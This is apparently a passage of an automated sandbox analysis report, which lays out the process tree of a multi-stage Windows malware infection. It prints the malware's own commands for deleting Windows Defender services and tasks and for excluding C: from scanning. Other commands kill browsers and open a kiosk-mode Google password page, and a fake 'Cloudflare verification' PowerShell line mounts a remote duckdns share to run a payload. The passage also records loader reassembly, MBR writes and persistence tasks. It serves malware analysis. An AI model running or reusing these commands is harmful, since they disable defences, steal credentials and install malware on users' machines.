        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CBDB.tmp\CBDC.tmp\CBDD.bat C:\Users\Admin\AppData\Local\Temp\262.exe go"
        7⤵
        Drops file in Program Files directory
        Suspicious use of WriteProcessMemory
        
        PID:2972
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        8⤵
        Launches sc.exe
        
        PID:5252
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        8⤵
        Launches sc.exe
        
        PID:4760
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:2188
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        8⤵
        Launches sc.exe
        
        PID:4732
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        8⤵
        Launches sc.exe
        
        PID:2668
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3220
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4424
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        8⤵
        Launches sc.exe
        
        PID:3576
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        8⤵
        Launches sc.exe
        
        PID:3132
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        8⤵
        
        PID:4036
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        8⤵
        Launches sc.exe
        
        PID:4652
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        8⤵
        Launches sc.exe
        
        PID:1236
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        8⤵
        
        PID:2520
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        8⤵
        Launches sc.exe
        
        PID:220
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        8⤵
        Launches sc.exe
        
        PID:2524
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        8⤵
        
        PID:4692
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        8⤵
        Launches sc.exe
        
        PID:2308
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        8⤵
        Launches sc.exe
        
        PID:1272
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        8⤵
        
        PID:3752
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        8⤵
        Launches sc.exe
        
        PID:4572
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        8⤵
        Launches sc.exe
        
        PID:4112
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        8⤵
        Modifies security service
        
        PID:5152
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        8⤵
        Launches sc.exe
        
        PID:1288
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        8⤵
        Launches sc.exe
        
        PID:4900
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        8⤵
        
        PID:3344
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        8⤵
        Launches sc.exe
        
        PID:2224
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        8⤵
        Launches sc.exe
        
        PID:5428
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        8⤵
        
        PID:1068
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        8⤵
        Launches sc.exe
        
        PID:6012
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        8⤵
        Launches sc.exe
        
        PID:5952
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        8⤵
        
        PID:2288
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        8⤵
        Launches sc.exe
        
        PID:1620
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        8⤵
        Launches sc.exe
        
        PID:396
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        8⤵
        
        PID:648
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        8⤵
        Launches sc.exe
        
        PID:2484
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        8⤵
        Launches sc.exe
        
        PID:1604
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        8⤵
        
        PID:3852
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        8⤵
        Launches sc.exe
        
        PID:3656
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        8⤵
        Launches sc.exe
        
        PID:5180
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        8⤵
        
        PID:2428
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        8⤵
        Launches sc.exe
        
        PID:1896
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        8⤵
        Launches sc.exe
        
        PID:3600
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        8⤵
        
        PID:1680
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        8⤵
        Launches sc.exe
        
        PID:5940
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        8⤵
        Launches sc.exe
        
        PID:436
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        8⤵
        
        PID:4628
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        8⤵
        Launches sc.exe
        
        PID:6048
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        8⤵
        Launches sc.exe
        
        PID:3144
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        8⤵
        
        PID:4908
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        8⤵
        Launches sc.exe
        
        PID:1040
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        8⤵
        Launches sc.exe
        
        PID:5972
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        8⤵
        
        PID:1136
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        8⤵
        Launches sc.exe
        
        PID:2368
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        8⤵
        Launches sc.exe
        
        PID:5980
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        8⤵
        
        PID:5648
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        8⤵
        
        PID:372
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        8⤵
        
        PID:1216
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        8⤵
        
        PID:5432
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        8⤵
        
        PID:5868
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        8⤵
        Launches sc.exe
        
        PID:2672
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        8⤵
        Launches sc.exe
        
        PID:1852
- - C:\Users\Admin\AppData\Local\Temp\10450130101\RLPhvHg.exe
    "C:\Users\Admin\AppData\Local\Temp\10450130101\RLPhvHg.exe"
    3⤵
    - Executes dropped EXE
    PID:4104
- - C:\Users\Admin\AppData\Local\Temp\10450150101\799c084781.exe
    "C:\Users\Admin\AppData\Local\Temp\10450150101\799c084781.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:740
- - C:\Users\Admin\AppData\Local\Temp\10450160101\f5cd9e993f.exe
    "C:\Users\Admin\AppData\Local\Temp\10450160101\f5cd9e993f.exe"
    3⤵
    - Checks BIOS information in registry
    - Executes dropped EXE
    PID:4568
- - C:\Users\Admin\AppData\Local\Temp\10450170101\f01ef26c9b.exe
    "C:\Users\Admin\AppData\Local\Temp\10450170101\f01ef26c9b.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:4992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1996
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4900
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2204
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3384
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5252
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      PID:2956
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:1060
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1996 -prefsLen 27099 -prefMapHandle 2000 -prefMapSize 270279 -ipcHandle 2064 -initialChannelId {3883f6e9-b194-4579-8521-ffc90d3a69e4} -parentPid 1060 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1060" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:1996
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2468 -prefsLen 27135 -prefMapHandle 2472 -prefMapSize 270279 -ipcHandle 2480 -initialChannelId {dc589dbc-fe89-4d65-889c-0fe864478a4e} -parentPid 1060 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1060" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:4508
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3780 -prefsLen 25164 -prefMapHandle 3784 -prefMapSize 270279 -jsInitHandle 3788 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3796 -initialChannelId {6ae325ce-0ea4-4ff8-8d99-b0aad5c05066} -parentPid 1060 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1060" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        Checks processor information in registry
        
        PID:468
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3948 -prefsLen 27276 -prefMapHandle 3952 -prefMapSize 270279 -ipcHandle 4044 -initialChannelId {37c85c94-bee4-4d91-977a-1370dc4cefff} -parentPid 1060 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1060" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:5636
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3012 -prefsLen 34775 -prefMapHandle 3016 -prefMapSize 270279 -jsInitHandle 3188 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4532 -initialChannelId {094020bb-506b-4fac-899b-85e2acc9ced4} -parentPid 1060 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1060" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        Checks processor information in registry
        
        PID:3264
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5024 -prefsLen 35012 -prefMapHandle 5028 -prefMapSize 270279 -ipcHandle 5036 -initialChannelId {20c3e27f-f4e6-4e3f-b8a9-172f24a15746} -parentPid 1060 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1060" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        6⤵
        Checks processor information in registry
        
        PID:6400
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5304 -prefsLen 32952 -prefMapHandle 5308 -prefMapSize 270279 -jsInitHandle 5312 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5324 -initialChannelId {6d90ab99-3419-4721-8c94-0cc95a327593} -parentPid 1060 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1060" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        6⤵
        Checks processor information in registry
        
        PID:6464
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5524 -prefsLen 32952 -prefMapHandle 5532 -prefMapSize 270279 -jsInitHandle 5536 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5544 -initialChannelId {594d93eb-06a8-4cf1-bb55-98a8156833d6} -parentPid 1060 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1060" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        6⤵
        Checks processor information in registry
        
        PID:6504
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5716 -prefsLen 32952 -prefMapHandle 5720 -prefMapSize 270279 -jsInitHandle 5724 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5732 -initialChannelId {1a5d2c7f-a9df-46f9-a084-f52f8973a230} -parentPid 1060 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1060" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        Checks processor information in registry
        
        PID:6520
- - C:\Users\Admin\AppData\Local\Temp\10450190101\7q8Wm5h.exe
    "C:\Users\Admin\AppData\Local\Temp\10450190101\7q8Wm5h.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    PID:7160
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:8132
- - C:\Users\Admin\AppData\Local\Temp\10450200101\52c21a4ce3.exe
    "C:\Users\Admin\AppData\Local\Temp\10450200101\52c21a4ce3.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:7584
- - C:\Users\Admin\AppData\Local\Temp\10450210101\7IIl2eE.exe
    "C:\Users\Admin\AppData\Local\Temp\10450210101\7IIl2eE.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:7352
  - - C:\Windows\SysWOW64\CMD.exe
      "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
      4⤵
      System Location Discovery: System Language Discovery
      PID:7468
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:8660
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8668
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:8784
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8788
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 418377
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8856
    - - C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Leon.cab
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8892
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "BEVERAGES" Compilation
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:9104
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 418377\Passwords.com + Playing + New + Realized + Uw + Jpeg + Badly + Asbestos + Seeds + Service + Basis + Via 418377\Passwords.com
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:9160
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Pendant.cab + ..\Visitor.cab + ..\Illegal.cab + ..\Suddenly.cab + ..\Theology.cab + ..\Kidney.cab + ..\Flying.cab + ..\Tigers.cab N
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4532
    - - C:\Users\Admin\AppData\Local\Temp\418377\Passwords.com
        
        Passwords.com N
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2332
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7672
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10450221121\pfJNmVW.cmd"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6204
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall' -windowstyle hidden -Verb RunAs; # Cloudflare verification (Ray ID: 90b0e54eb8bdaasd84)
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4440
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8196
      - C:\Windows\SysWOW64\net.exe
        
        net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234!
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3380
      - \??\UNC\aaso12.duckdns.org\shear\s.exe
        
        \\aaso12.duckdns.org\shear\s -fullinstall
        6⤵
        Sets service image path in registry
        Drops file in Program Files directory
        
        PID:8908
- - C:\Users\Admin\AppData\Local\Temp\10450230101\db7de03a5d.exe
    "C:\Users\Admin\AppData\Local\Temp\10450230101\db7de03a5d.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Writes to the Master Boot Record (MBR)
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:7316
- - C:\Users\Admin\AppData\Local\Temp\10450240101\UZPt0hR.exe
    "C:\Users\Admin\AppData\Local\Temp\10450240101\UZPt0hR.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    PID:2388
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
      4⤵
      PID:4112
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6528
  - - C:\Windows\system32\svchost.exe
      "C:\Windows\system32\svchost.exe"
      4⤵
      Downloads MZ/PE file
      Adds Run key to start application
      PID:4024
    - - C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
        
        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
        5⤵
        Sets service image path in registry
        Executes dropped EXE
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:740
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Remove-MpPreference -ExclusionPath C:\
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:8936
    - - C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
        5⤵
        Deletes itself
        Executes dropped EXE
        
        PID:6276
      - C:\Users\Admin\AppData\Local\Temp\{382a930a-529d-4ae0-a752-c0996d233c85}\15d2752c.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{382a930a-529d-4ae0-a752-c0996d233c85}\15d2752c.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
        6⤵
        Executes dropped EXE
        Checks for VirtualBox DLLs, possible anti-VM trick
        System Location Discovery: System Language Discovery
        
        PID:7684
        
        C:\Users\Admin\AppData\Local\Temp\{340b8f03-ceb7-4086-916a-56a68cdb1f9d}\5c6700e4.exe
        
        C:/Users/Admin/AppData/Local/Temp/{340b8f03-ceb7-4086-916a-56a68cdb1f9d}/\5c6700e4.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
        7⤵
        Drops file in Drivers directory
        Sets service image path in registry
        Executes dropped EXE
        Impair Defenses: Safe Mode Boot
        Loads dropped DLL
        Adds Run key to start application
        Writes to the Master Boot Record (MBR)
        Checks for VirtualBox DLLs, possible anti-VM trick
        System Location Discovery: System Language Discovery
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:5344
- - C:\Users\Admin\AppData\Local\Temp\10450250101\TbV75ZR.exe
    "C:\Users\Admin\AppData\Local\Temp\10450250101\TbV75ZR.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:6312
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:8304
- - C:\Users\Admin\AppData\Local\Temp\10450260101\RLPhvHg.exe
    "C:\Users\Admin\AppData\Local\Temp\10450260101\RLPhvHg.exe"
    3⤵
    - Executes dropped EXE
    PID:5432
- - C:\Users\Admin\AppData\Local\Temp\10450270101\9sWdA2p.exe
    "C:\Users\Admin\AppData\Local\Temp\10450270101\9sWdA2p.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:9144
- - C:\Users\Admin\AppData\Local\Temp\10450280101\qhjMWht.exe
    "C:\Users\Admin\AppData\Local\Temp\10450280101\qhjMWht.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6372
- - C:\Users\Admin\AppData\Local\Temp\10450290101\Rm3cVPI.exe
    "C:\Users\Admin\AppData\Local\Temp\10450290101\Rm3cVPI.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1872
- - C:\Users\Admin\AppData\Local\Temp\10450300101\91c303ff7b.exe
    "C:\Users\Admin\AppData\Local\Temp\10450300101\91c303ff7b.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:6332
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:8096
- - C:\Users\Admin\AppData\Local\Temp\10450310101\larBxd7.exe
    "C:\Users\Admin\AppData\Local\Temp\10450310101\larBxd7.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:7240
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy Cattle.psd Cattle.psd.bat & Cattle.psd.bat
      4⤵
      System Location Discovery: System Language Discovery
      PID:3944
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:9924
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:9916
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:10080
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:10088
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 689912
        5⤵
        
        PID:10152
    - - C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Exclusion.psd
        5⤵
        
        PID:10172
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "users" Findarticles
        5⤵
        
        PID:10376
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 689912\Jordan.com + Bg + Batteries + Boss + Illustrations + Boards + Within + Pushed + Brunei + Dead 689912\Jordan.com
        5⤵
        
        PID:10392
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Customized.psd + ..\Permits.psd + ..\Teeth.psd + ..\Feel.psd + ..\Nonprofit.psd + ..\Shoes.psd + ..\Bruce.psd b
        5⤵
        
        PID:10476
    - - C:\Users\Admin\AppData\Local\Temp\689912\Jordan.com
        
        Jordan.com b
        5⤵
        
        PID:10492
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        
        PID:10600
- - C:\Users\Admin\AppData\Local\Temp\10450320101\but2.exe
    "C:\Users\Admin\AppData\Local\Temp\10450320101\but2.exe"
    3⤵
    PID:10704
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "PCI Bus Driver" /tr C:\Drivers\pcidrv.exe /sc minute /mo 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:10828
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "PCI Bus Driver Startup" /tr C:\Drivers\pcidrv.exe /sc onstart /ru SYSTEM /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:10888
  - - C:\Drivers\pcidrv.exe
      C:\Drivers\pcidrv.exe
      4⤵
      PID:10928
  - - C:\Windows\SysWOW64\cmd.exe
